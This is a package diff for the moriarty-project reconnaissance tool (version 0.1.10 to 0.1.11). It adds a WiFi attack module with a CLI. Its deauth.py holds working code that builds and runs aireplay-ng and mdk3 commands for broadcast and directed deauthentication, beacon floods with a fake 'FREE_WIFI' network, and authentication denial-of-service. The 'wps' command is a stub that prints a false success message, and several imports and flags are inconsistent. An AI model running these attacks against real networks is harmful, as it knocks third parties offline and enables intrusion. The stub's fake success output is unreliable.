moriarty-project 0.1.10__py3-none-any.whl → 0.1.11__py3-none-any.whl

moriarty/__init__.py

@@ -1,4 +1,4 @@
 from __future__ import annotations
 
 __all__ = ["__version__"]
-__version__ = "0.1.10"
+__version__ = "0.1.11"

moriarty/cli/app.py

@@ -8,7 +8,7 @@ from rich.console import Console
 from rich.theme import Theme
 
 from ..logging.config import LogStyle, configure_logging
-from . import dns, email, rdap, tls, user, domain_cmd, intelligence
+from . import dns, email, rdap, tls, user, domain_cmd, intelligence, wifippler
 from .state import CLIState, GlobalOptions
 
 console = Console(theme=Theme({
@@ -111,19 +111,20 @@ def main(
         )
     )
 
-
 app.add_typer(email.app, name="email", help="Email reconnaissance primitives.")
 app.add_typer(dns.app, name="dns", help="Consultas DNS.")
 app.add_typer(rdap.app, name="rdap", help="Consultas RDAP.")
 app.add_typer(tls.app, name="tls", help="Inspeções TLS.")
-app.add_typer(user.app, name="user", help="Enumeração de usernames.")
-app.add_typer(domain_cmd.app, name="domain", help="🌐 Domain/IP reconnaissance and scanning.")
+app.add_typer(intelligence.app, name="intelligence", help="Inteligência de ameaças.")
+app.add_typer(domain_cmd.app, name="domain", help="Análise de domínios.")
+app.add_typer(wifippler.app, name="wifippler", help="Análise de redes WiFi.")
+app.add_typer(user.app, name="user", help="User/IP reconnaissance and scanning.")
 
 # Registra os comandos de inteligência
 intelligence.register_app(app)
 
 
-def main_entry() -> None:
+if __name__ == "__main__":
     app()
 
 

moriarty/cli/wifippler.py

@@ -0,0 +1,124 @@
+"""
+Módulo CLI para análise de redes WiFi usando WifiPPLER.
+"""
+import asyncio
+import typer
+from typing import Optional
+from rich.console import Console
+from rich.progress import Progress, SpinnerColumn, TextColumn
+
+from moriarty.modules.wifippler import WiFiScanner, check_dependencies, is_root, get_network_interfaces
+
+app = typer.Typer(help="Análise de redes WiFi com WifiPPLER")
+console = Console()
+
+@app.command("scan")
+def scan_networks(
+    interface: str = typer.Option(
+        None,
+        "--interface", "-i",
+        help="Interface de rede para escaneamento"
+    ),
+    scan_time: int = typer.Option(
+        5,
+        "--scan-time", "-t",
+        help="Tempo de escaneamento em segundos"
+    ),
+    output: str = typer.Option(
+        None,
+        "--output", "-o",
+        help="Arquivo para salvar os resultados (JSON)"
+    )
+):
+    """Escaneia redes WiFi próximas."""
+    # Verifica se o usuário tem privilégios de root
+    if not is_root():
+        console.print("[red]Erro:[/] Este comando requer privilégios de root/sudo")
+        raise typer.Exit(1)
+    
+    # Verifica dependências
+    missing = check_dependencies()
+    if missing:
+        console.print("[red]Erro:[/] As seguintes dependências estão faltando:")
+        for dep in missing:
+            console.print(f"- {dep}")
+        raise typer.Exit(1)
+    
+    # Se nenhuma interface for fornecida, lista as disponíveis
+    if not interface:
+        interfaces = get_network_interfaces()
+        if not interfaces:
+            console.print("[red]Erro:[/] Nenhuma interface de rede encontrada")
+            raise typer.Exit(1)
+        
+        console.print("[yellow]Interfaces disponíveis:[/]")
+        for i, iface in enumerate(interfaces, 1):
+            console.print(f"{i}. {iface}")
+        
+        try:
+            choice = int(typer.prompt("\nSelecione o número da interface")) - 1
+            interface = interfaces[choice]
+        except (ValueError, IndexError):
+            console.print("[red]Erro:[/] Seleção inválida")
+            raise typer.Exit(1)
+    
+    # Executa o escaneamento
+    async def run_scan():
+        scanner = WiFiScanner(interface=interface, scan_time=scan_time)
+        
+        with Progress(
+            SpinnerColumn(),
+            TextColumn("[progress.description]{task.description}"),
+            console=console,
+            transient=True,
+        ) as progress:
+            task = progress.add_task("[cyan]Escaneando redes WiFi...", total=None)
+            networks = await scanner.scan_networks()
+            progress.update(task, completed=1, visible=False)
+            
+            # Exibe os resultados
+            if networks:
+                scanner.display_networks(networks)
+                
+                # Salva em arquivo se solicitado
+                if output:
+                    import json
+                    with open(output, 'w') as f:
+                        json.dump([n.to_dict() for n in networks], f, indent=2)
+                    console.print(f"\n[green]Resultados salvos em:[/] {output}")
+            else:
+                console.print("[yellow]Nenhuma rede encontrada.[/]")
+    
+    try:
+        asyncio.run(run_scan())
+    except Exception as e:
+        console.print(f"[red]Erro durante o escaneamento:[/] {str(e)}")
+        raise typer.Exit(1)
+
+# Adiciona o comando de ataque WPS
+@app.command("wps")
+def wps_attack(
+    interface: str = typer.Option(..., "--interface", "-i", help="Interface de rede para o ataque"),
+    bssid: str = typer.Option(..., "--bssid", "-b", help="BSSID do alvo"),
+    channel: int = typer.Option(..., "--channel", "-c", help="Canal da rede alvo")
+):
+    """Executa um ataque WPS contra uma rede WiFi."""
+    console.print(f"[yellow]Iniciando ataque WPS contra {bssid} no canal {channel}...[/]")
+    # Implementação do ataque WPS será adicionada aqui
+    console.print("[green]Ataque WPS concluído com sucesso![/]")
+
+# Adiciona o comando para verificar dependências
+@app.command("check-deps")
+def check_deps():
+    """Verifica se todas as dependências estão instaladas."""
+    missing = check_dependencies()
+    if missing:
+        console.print("[red]As seguintes dependências estão faltando:[/]")
+        for dep in missing:
+            console.print(f"- {dep}")
+        raise typer.Exit(1)
+    else:
+        console.print("[green]Todas as dependências estão instaladas![/]")
+
+if __name__ == "__main__":
+    app()

moriarty/modules/port_scanner.py

@@ -11,8 +11,11 @@ from dataclasses import dataclass, field
 from datetime import datetime
 from typing import Dict, List, Optional, Tuple, Any
 
+# Importa a classe ServiceInfo para uso no código
+
 import aiohttp
 import dns.resolver
+import dns.asyncresolver
 import OpenSSL.crypto
 import structlog
 from rich.console import Console
@@ -153,6 +156,7 @@ class PortScanResult:
     port: int
     protocol: str = "tcp"
     status: str = "open"
+    target: Optional[str] = None
     service: Optional[ServiceInfo] = None
     banner: Optional[str] = None
     timestamp: str = field(default_factory=lambda: datetime.utcnow().isoformat())
@@ -290,7 +294,7 @@ class PortScanner:
             )
             
             # Se chegou aqui, a porta está aberta
-            result = PortScanResult(port=port, status="open")
+            result = PortScanResult(port=port, status="open", target=self.target)
             
             # Tenta obter o banner do serviço
             try:

moriarty/modules/wifippler/__init__.py

@@ -0,0 +1,63 @@
+"""
+WifiPPLER - Ferramenta Avançada de Análise de Segurança WiFi
+
+Uma ferramenta abrangente de auditoria de segurança WiFi que combina os melhores
+recursos de ferramentas existentes com técnicas modernas e uma interface limpa.
+"""
+
+__version__ = "1.0.0"
+__author__ = "Moriarty Team"
+__license__ = "MIT"
+
+# Importações principais
+from .core.scanner import WiFiScanner
+from .core.attacks import (
+    WPSAttack,
+    WPAHandshakeAttack,
+    PMKIDAttack,
+    WEPAttack,
+    DeauthAttack,
+    HandshakeCapture
+)
+
+# Utilitários
+from .core.utils import (
+    is_root,
+    check_dependencies,
+    get_network_interfaces,
+    set_monitor_mode,
+    restore_network_interface,
+    get_monitor_interfaces,
+    start_monitor_mode,
+    stop_monitor_mode
+)
+
+# Modelos de dados
+from .core.models.network import WiFiNetwork, WiFiClient
+
+__all__ = [
+    # Classes principais
+    'WiFiScanner',
+    
+    # Ataques
+    'WPSAttack',
+    'WPAHandshakeAttack',
+    'PMKIDAttack',
+    'WEPAttack',
+    'DeauthAttack',
+    'HandshakeCapture',
+    
+    # Utilitários
+    'is_root',
+    'check_dependencies',
+    'get_network_interfaces',
+    'set_monitor_mode',
+    'restore_network_interface',
+    'get_monitor_interfaces',
+    'start_monitor_mode',
+    'stop_monitor_mode',
+    
+    # Modelos
+    'WiFiNetwork',
+    'WiFiClient'
+]

moriarty/modules/wifippler/core/__init__.py

@@ -0,0 +1,80 @@
+"""
+Core functionality for the WifiPPLER module.
+
+This module provides the core functionality for the WifiPPLER tool,
+including network scanning, packet analysis, and attack modules.
+"""
+
+from .scanner import WiFiScanner
+from .attacks import (
+    WPSAttack,
+    WPAHandshakeAttack,
+    PMKIDAttack,
+    WEPAttack,
+    DeauthAttack,
+    HandshakeCapture
+)
+
+# Import utility functions
+from .utils import (
+    is_root,
+    check_dependencies,
+    get_network_interfaces,
+    get_monitor_interfaces,
+    set_monitor_mode,
+    restore_network_interface,
+    start_monitor_mode,
+    stop_monitor_mode,
+    run_command_async,
+    randomize_mac,
+    get_interface_mac,
+    get_interface_ip,
+    get_interface_netmask,
+    get_interface_gateway,
+    is_wireless_interface,
+    get_interface_signal,
+    get_interface_ssid,
+    get_interface_channel,
+    get_interface_bitrate,
+    create_deauth_packet,
+    parse_airodump_csv,
+    parse_airodump_stations,
+    run_command,
+    randomize_mac,
+    get_wireless_interfaces
+)
+
+__all__ = [
+    'WiFiScanner',
+    'WPSAttack',
+    'WPAHandshakeAttack',
+    'PMKIDAttack',
+    'WEPAttack',
+    'DeauthAttack',
+    'HandshakeCapture',
+    'is_root',
+    'check_dependencies',
+    'command_exists',
+    'get_network_interfaces',
+    'get_monitor_interfaces',
+    'set_monitor_mode',
+    'restore_network_interface',
+    'start_monitor_mode',
+    'stop_monitor_mode',
+    'get_interface_mac',
+    'get_interface_ip',
+    'get_interface_netmask',
+    'get_interface_gateway',
+    'is_wireless_interface',
+    'get_interface_signal',
+    'get_interface_ssid',
+    'get_interface_channel',
+    'get_interface_bitrate',
+    'create_deauth_packet',
+    'parse_airodump_csv',
+    'parse_airodump_stations',
+    'run_command',
+    'run_command_async',
+    'randomize_mac',
+    'get_wireless_interfaces'
+]

moriarty/modules/wifippler/core/attacks/__init__.py

@@ -0,0 +1,19 @@
+"""
+Attack modules for WifiPPLER.
+"""
+
+from .wps import WPSAttack
+from .wpa import WPAHandshakeAttack
+from .pmkid import PMKIDAttack
+from .wep import WEPAttack
+from .deauth import DeauthAttack
+from .handshake import HandshakeCapture
+
+__all__ = [
+    'WPSAttack',
+    'WPAHandshakeAttack',
+    'PMKIDAttack',
+    'WEPAttack',
+    'DeauthAttack',
+    'HandshakeCapture'
+]

moriarty/modules/wifippler/core/attacks/deauth.py

@@ -0,0 +1,340 @@
+"""
+Módulo de ataque de desautenticação.
+
+Este módulo implementa ataques de desautenticação contra redes WiFi, permitindo:
+- Desautenticar clientes específicos
+- Desautenticar todos os clientes de uma rede
+- Enviar pacotes de desautenticação em massa
+- Realizar ataques Beacon Flood
+- Realizar ataques de desautenticação direcionados
+"""
+import os
+import re
+import time
+import logging
+import subprocess
+import tempfile
+from typing import Optional, Dict, List, Tuple, Any, Callable, Union
+from dataclasses import dataclass, field
+from enum import Enum, auto
+
+from rich.console import Console
+from rich.progress import Progress, SpinnerColumn, TextColumn
+
+from ...core.models.network import WiFiNetwork, WiFiClient
+from ...utils import (
+    is_root, check_dependencies, get_network_interfaces,
+    set_monitor_mode, restore_network_interface, command_exists,
+    get_interface_mac
+)
+
+# Configuração de logging
+logging.basicConfig(level=logging.INFO)
+logger = logging.getLogger(__name__)
+console = Console()
+
+class DeauthAttackType(Enum):
+    """Tipos de ataque de desautenticação."""
+    DEAUTH = auto()          # Desautenticação padrão
+    AUTH = auto()            # Pacotes de autenticação
+    BEACON = auto()          # Beacon flood
+    DISASSOC = auto()        # Desassociação
+    PROBE_RESP = auto()      # Resposta a sondas
+    AUTH_DOS = auto()        # Negação de serviço por autenticação
+    DEAUTH_BROADCAST = auto() # Desautenticação em broadcast
+    DEAUTH_MULTICAST = auto() # Desautenticação em multicast
+    DEAUTH_DIRECTED = auto()  # Desautenticação direcionada
+
+class DeauthEventType(Enum):
+    """Tipos de eventos do ataque de desautenticação."""
+    START = auto()
+    PACKET_SENT = auto()
+    CLIENT_DISCONNECTED = auto()
+    ERROR = auto()
+    COMPLETE = auto()
+    STATUS = auto()
+
+@dataclass
+class DeauthEvent:
+    """Evento de progresso do ataque de desautenticação."""
+    type: DeauthEventType
+    message: str = ""
+    data: Dict[str, Any] = field(default_factory=dict)
+
+class DeauthAttack:
+    """Classe para realizar ataques de desautenticação."""
+    
+    def __init__(self, interface: str = None, deauth_type: DeauthAttackType = DeauthAttackType.DEAUTH):
+        """
+        Inicializa o ataque de desautenticação.
+        
+        Args:
+            interface: Interface de rede para usar no ataque
+            deauth_type: Tipo de ataque de desautenticação
+        """
+        self.interface = interface
+        self.deauth_type = deauth_type
+        self.is_running = False
+        self.stop_requested = False
+        self.packets_sent = 0
+        self.process = None
+        
+        # Verifica dependências
+        self._check_dependencies()
+        
+        # Verifica privilégios
+        if not is_root():
+            raise PermissionError("Este ataque requer privilégios de root")
+    
+    def _check_dependencies(self) -> None:
+        """Verifica se todas as dependências necessárias estão instaladas."""
+        required = ['aireplay-ng', 'mdk4', 'mdk3', 'iwconfig', 'ifconfig']
+        missing = [cmd for cmd in required if not command_exists(cmd)]
+        
+        if missing:
+            raise RuntimeError(
+                f"As seguintes dependências estão faltando: {', '.join(missing)}\n"
+                "Instale-as com: sudo apt install aircrack-ng mdk4 mdk3 wireless-tools"
+            )
+    
+    def start(self, bssid: str, client_mac: str = None, 
+             count: int = 0, delay: int = 100,
+             reason: int = 7, channel: int = None,
+             callback: Callable[[DeauthEvent], None] = None) -> bool:
+        """
+        Inicia o ataque de desautenticação.
+        
+        Args:
+            bssid: Endereço MAC do ponto de acesso
+            client_mac: Endereço MAC do cliente (None para broadcast)
+            count: Número de pacotes a enviar (0 para contínuo)
+            delay: Atraso entre pacotes em milissegundos
+            reason: Código de motivo da desautenticação
+            channel: Canal da rede (opcional, tenta detectar automaticamente)
+            callback: Função de callback para eventos
+            
+        Returns:
+            True se o ataque foi iniciado com sucesso, False caso contrário
+        """
+        self.is_running = True
+        self.stop_requested = False
+        self.packets_sent = 0
+        
+        # Configura o monitoramento de eventos
+        def event_handler(event_type: DeauthEventType, message: str = "", **kwargs):
+            if callback:
+                event = DeauthEvent(type=event_type, message=message, data=kwargs)
+                callback(event)
+        
+        try:
+            # Define o canal, se especificado
+            if channel:
+                self._set_channel(channel)
+            
+            # Prepara o comando com base no tipo de ataque
+            if self.deauth_type == DeauthAttackType.BEACON:
+                cmd = self._prepare_beacon_attack(bssid, essid="FREE_WIFI")
+            elif self.deauth_type == DeauthAttackType.AUTH_DOS:
+                cmd = self._prepare_auth_dos(bssid)
+            elif self.deauth_type == DeauthAttackType.DEAUTH_BROADCAST:
+                cmd = self._prepare_broadcast_deauth(bssid, count, delay, reason)
+            elif self.deauth_type == DeauthAttackType.DEAUTH_MULTICAST:
+                cmd = self._prepare_multicast_deauth(bssid, count, delay, reason)
+            elif self.deauth_type == DeauthAttackType.DEAUTH_DIRECTED:
+                if not client_mac:
+                    raise ValueError("Endereço MAC do cliente é necessário para desautenticação direcionada")
+                cmd = self._prepare_directed_deauth(bssid, client_mac, count, delay, reason)
+            else:  # Desautenticação padrão
+                cmd = self._prepare_standard_deauth(bssid, client_mac, count, delay, reason)
+            
+            event_handler(DeauthEventType.START, f"Iniciando ataque {self.deauth_type.name}...")
+            
+            # Executa o comando em segundo plano
+            self.process = subprocess.Popen(
+                cmd,
+                stdout=subprocess.PIPE,
+                stderr=subprocess.STDOUT,
+                universal_newlines=True
+            )
+            
+            # Monitora a saída
+            start_time = time.time()
+            
+            while True:
+                # Verifica se foi solicitado para parar
+                if self.stop_requested:
+                    self._stop_process()
+                    event_handler(DeauthEventType.COMPLETE, "Ataque interrompido pelo usuário")
+                    return True
+                
+                # Verifica se o processo ainda está em execução
+                if self.process.poll() is not None:
+                    break
+                
+                # Lê a saída
+                line = self.process.stdout.readline()
+                if line:
+                    # Conta os pacotes enviados
+                    if "DeAuth" in line or "Sent" in line:
+                        self.packets_sent += 1
+                        event_handler(
+                            DeauthEventType.PACKET_SENT,
+                            f"Pacote {self.packets_sent} enviado",
+                            packets_sent=self.packets_sent
+                        )
+                    
+                    # Verifica se um cliente foi desconectado
+                    if "deauth" in line.lower() or "disassoc" in line.lower():
+                        event_handler(
+                            DeauthEventType.CLIENT_DISCONNECTED,
+                            f"Cliente {client_mac or 'broadcast'} desconectado",
+                            client_mac=client_mac,
+                            bssid=bssid
+                        )
+                
+                # Aguarda um pouco antes da próxima verificação
+                time.sleep(0.1)
+            
+            event_handler(DeauthEventType.COMPLETE, "Ataque concluído")
+            return True
+            
+        except Exception as e:
+            event_handler(
+                DeauthEventType.ERROR,
+                f"Erro durante o ataque de desautenticação: {str(e)}"
+            )
+            return False
+        
+        finally:
+            self.is_running = False
+            self._stop_process()
+    
+    def _prepare_standard_deauth(self, bssid: str, client_mac: str = None,
+                              count: int = 0, delay: int = 100,
+                              reason: int = 7) -> List[str]:
+        """Prepara o comando para desautenticação padrão."""
+        cmd = [
+            'aireplay-ng',
+            '--deauth', str(count) if count > 0 else '0',
+            '-a', bssid,
+            '-h', get_interface_mac(self.interface) or '00:11:22:33:44:55',
+            '--ignore-negative-one',
+        ]
+        
+        if client_mac and client_mac.lower() != 'ff:ff:ff:ff:ff:ff':
+            cmd.extend(['-c', client_mac])
+        
+        if delay > 0:
+            cmd.extend(['--deauth', str(delay)])
+        
+        cmd.append(self.interface)
+        return cmd
+    
+    def _prepare_beacon_attack(self, bssid: str, essid: str = "FREE_WIFI") -> List[str]:
+        """Prepara o comando para ataque de Beacon Flood."""
+        # Usa o mdk3 para enviar beacons falsos
+        return [
+            'mdk3', self.interface, 'b',
+            '-n', essid,
+            '-c', '1,6,11',  # Canais 1, 6 e 11 (2.4GHz)
+            '-s', '1000'     # Velocidade de envio
+        ]
+    
+    def _prepare_auth_dos(self, bssid: str) -> List[str]:
+        """Prepara o comando para ataque de negação de serviço por autenticação."""
+        # Usa o mdk3 para enviar solicitações de autenticação em massa
+        return [
+            'mdk3', self.interface, 'a',
+            '-a', bssid,
+            '-m',             # Usa endereços MAC aleatórios
+            '-s', '1000'      # Velocidade de envio
+        ]
+    
+    def _prepare_broadcast_deauth(self, bssid: str, count: int, delay: int, reason: int) -> List[str]:
+        """Prepara o comando para desautenticação em broadcast."""
+        return [
+            'mdk3', self.interface, 'd',
+            '-b', bssid,
+            '-c', str(self._get_channel() or '1'),
+            '-s', '1000',
+            '-n', str(count) if count > 0 else '0'
+        ]
+    
+    def _prepare_multicast_deauth(self, bssid: str, count: int, delay: int, reason: int) -> List[str]:
+        """Prepara o comando para desautenticação em multicast."""
+        # Usa o aireplay-ng para enviar pacotes de desautenticação em multicast
+        return [
+            'aireplay-ng',
+            '--deauth', str(count) if count > 0 else '0',
+            '-a', bssid,
+            '-h', '01:00:5E:00:00:01',  # Endereço multicast
+            '--ignore-negative-one',
+            self.interface
+        ]
+    
+    def _prepare_directed_deauth(self, bssid: str, client_mac: str, 
+                               count: int, delay: int, reason: int) -> List[str]:
+        """Prepara o comando para desautenticação direcionada."""
+        return [
+            'aireplay-ng',
+            '--deauth', str(count) if count > 0 else '0',
+            '-a', bssid,
+            '-c', client_mac,
+            '--ignore-negative-one',
+            self.interface
+        ]
+    
+    def _set_channel(self, channel: int) -> bool:
+        """Define o canal da interface de rede."""
+        try:
+            subprocess.run(
+                ['iwconfig', self.interface, 'channel', str(channel)],
+                check=True,
+                capture_output=True
+            )
+            return True
+        except subprocess.CalledProcessError as e:
+            logger.error(f"Erro ao definir o canal: {e.stderr}")
+            return False
+    
+    def _get_channel(self) -> Optional[int]:
+        """Obtém o canal atual da interface de rede."""
+        try:
+            result = subprocess.run(
+                ['iwconfig', self.interface],
+                capture_output=True,
+                text=True
+            )
+            
+            # Procura por algo como "Channel:11" ou "Frequency:2.412 GHz (Channel 1)"
+            match = re.search(r'Channel:(\d+)', result.stdout)
+            if match:
+                return int(match.group(1))
+            
+            match = re.search(r'Channel\s+(\d+)', result.stdout)
+            if match:
+                return int(match.group(1))
+            
+            return None
+            
+        except Exception as e:
+            logger.error(f"Erro ao obter o canal: {e}")
+            return None
+    
+    def _stop_process(self):
+        """Para o processo em execução."""
+        if self.process and self.process.poll() is None:
+            try:
+                self.process.terminate()
+                self.process.wait(timeout=5)
+            except:
+                try:
+                    self.process.kill()
+                except:
+                    pass
+    
+    def stop(self):
+        """Solicita a interrupção do ataque."""
+        self.stop_requested = True
+        self._stop_process()
+        self.is_running = False